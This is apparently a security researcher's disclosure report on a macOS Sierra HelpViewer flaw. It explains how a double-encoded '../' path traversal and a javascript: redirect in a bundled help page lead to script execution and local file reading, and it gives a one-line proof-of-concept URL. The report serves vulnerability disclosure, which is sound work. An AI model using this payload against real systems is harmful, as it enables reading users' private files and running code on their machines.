HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help
or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html
HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.
HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".
PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
The attached poc will pop up a Calculator.
Tested on macOS Sierra 10.12.1 (16B2659).
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
